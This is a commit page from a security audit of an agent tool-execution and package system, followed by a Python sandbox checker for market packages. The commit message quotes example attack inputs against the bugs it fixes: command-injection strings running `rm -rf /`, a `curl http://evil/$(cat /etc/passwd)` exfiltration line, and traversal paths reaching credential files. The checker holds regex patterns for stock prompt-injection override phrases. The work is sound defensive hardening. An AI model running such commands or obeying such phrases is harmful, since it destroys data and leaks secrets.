Test User
975b852e78
A security and robustness audit of the tool-execution, market-package, and approval subsystems surfaced several high-impact issues. Each is fixed with a minimal, targeted change; regression tests are included. Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are shell-evaluated): - git_commit: the commit message was interpolated raw into the command string. A message like `foo" && rm -rf / #` injected arbitrary commands, and the approval layer never inspects `message`. Now shlex-quoted. - git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or `$(curl ...)` was executed. Now shlex-quoted. Path traversal: - package_loader._write_prompts / uninstall: `package_id` (from an untrusted manifest) was used directly as a directory name under prompts/market and passed to mkdir(parents=True) / shutil.rmtree. An id like `../../projects/<victim>` enabled arbitrary file write and arbitrary directory deletion. Added _market_prompts_dir() which validates the id (lowercase alphanumeric + -/_) and confirms the resolved path stays inside the market base; uninstall validates up front. Prompt-content filenames are also confined to the package dir. - sandbox_checker: a malformed package id was only a *warning*, so report.passed stayed True and callers proceeded. Promoted to a hard error. - package_exporter: prompt refs (bare strings from package definitions) were read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials` were bundled into exported packages. Now confined to opc_home. - ws_handler._write_custom_prompt: employee_id (derived from user-supplied role id/name) flowed unchecked into the path, enabling traversal writes. Now reduced to a safe path component with a containment check. Approval bypass: - approval: a command beginning with a safe prefix (curl/echo/find/...) was auto-approved as LOW risk even when it contained shell command substitution. `curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no human/LLM review, letting bash exfil data. Added _command_has_shell_substitution() and gated safe-prefix matching on it. Correctness / robustness: - shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped the `-Command` flag from PowerShell argv (4 elements), silently breaking every prefixed PowerShell tool call. Now replaces only the trailing arg. - runtime_v2: tool arguments that are valid JSON but not an object (e.g. a JSON array) were silently replaced with `{}` while arguments_parse_error stayed None, so the tool executed with empty args (todo_write could wipe the task ledger). Now flagged with a parse error. - store: _json_loads raised on corrupt JSON; it is called during store.initialize() (via _sweep_stale_claims), so a single corrupt row prevented the store from ever opening. Now falls back to the default. - engine: _parse_reorg_payload returned any JSON type; callers did `.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns None for non-dict JSON. - channels.manager: a single failing channel.send propagated out of the only outbound dispatch loop and silently stopped all message delivery on every channel until restart. Now caught and logged. - ws_handler: a non-object JSON frame (null/number/array/string) made `data.get` raise AttributeError and drop the whole WS connection. Non-dict frames are now ignored. Co-Authored-By: Claude <noreply@anthropic.com>
76 lines
2.9 KiB
Python
76 lines
2.9 KiB
Python
"""Security validation for OPC Market packages."""
|
|
|
|
from __future__ import annotations
|
|
|
|
import re
|
|
from typing import TYPE_CHECKING
|
|
|
|
from .package_format import SandboxReport
|
|
|
|
if TYPE_CHECKING:
|
|
from .package_format import OPCPackage
|
|
|
|
# Tools that could execute arbitrary code or access the filesystem
|
|
DANGEROUS_TOOLS = frozenset({
|
|
"shell_exec", "bash", "terminal", "subprocess",
|
|
"file_write", "file_delete", "file_move",
|
|
"eval", "exec", "os_command",
|
|
})
|
|
|
|
# Patterns that suggest prompt injection attempts
|
|
SUSPICIOUS_PROMPT_PATTERNS = [
|
|
re.compile(r"ignore\s+(all\s+)?previous\s+instructions", re.IGNORECASE),
|
|
re.compile(r"ignore\s+(all\s+)?above", re.IGNORECASE),
|
|
re.compile(r"you\s+are\s+now\s+(a|an)\s+", re.IGNORECASE),
|
|
re.compile(r"system\s*prompt\s*:", re.IGNORECASE),
|
|
re.compile(r"<\s*system\s*>", re.IGNORECASE),
|
|
re.compile(r"jailbreak", re.IGNORECASE),
|
|
re.compile(r"base64\s*decode", re.IGNORECASE),
|
|
]
|
|
|
|
|
|
class SandboxChecker:
|
|
"""Validates an OPC package for security concerns before installation."""
|
|
|
|
def validate(self, package: OPCPackage) -> SandboxReport:
|
|
report = SandboxReport()
|
|
self._check_tools(package, report)
|
|
self._check_prompts(package, report)
|
|
self._check_manifest(package, report)
|
|
report.passed = len(report.errors) == 0
|
|
return report
|
|
|
|
def _check_tools(self, package: OPCPackage, report: SandboxReport) -> None:
|
|
for role in package.roles:
|
|
tools = role.get("tools") or []
|
|
role_id = role.get("id", "unknown")
|
|
for tool in tools:
|
|
if tool.lower() in DANGEROUS_TOOLS:
|
|
report.errors.append(
|
|
f"Role '{role_id}' uses dangerous tool: {tool}"
|
|
)
|
|
|
|
def _check_prompts(self, package: OPCPackage, report: SandboxReport) -> None:
|
|
for filename, content in package.prompt_contents.items():
|
|
for pattern in SUSPICIOUS_PROMPT_PATTERNS:
|
|
match = pattern.search(content)
|
|
if match:
|
|
report.warnings.append(
|
|
f"Prompt '{filename}' contains suspicious pattern: '{match.group()}'"
|
|
)
|
|
|
|
def _check_manifest(self, package: OPCPackage, report: SandboxReport) -> None:
|
|
m = package.manifest
|
|
if not m.id:
|
|
report.errors.append("Package manifest missing 'id'")
|
|
if not m.name:
|
|
report.errors.append("Package manifest missing 'name'")
|
|
if m.id and not re.match(r"^[a-z0-9][a-z0-9_-]*$", m.id):
|
|
# The id is used as a directory name under prompts/market and is passed to
|
|
# ``shutil.rmtree`` on uninstall. A malformed value enables path traversal
|
|
# (arbitrary file write / directory deletion), so this must be a hard error,
|
|
# not a warning.
|
|
report.errors.append(
|
|
f"Package id '{m.id}' must be lowercase alphanumeric with hyphens/underscores"
|
|
)
|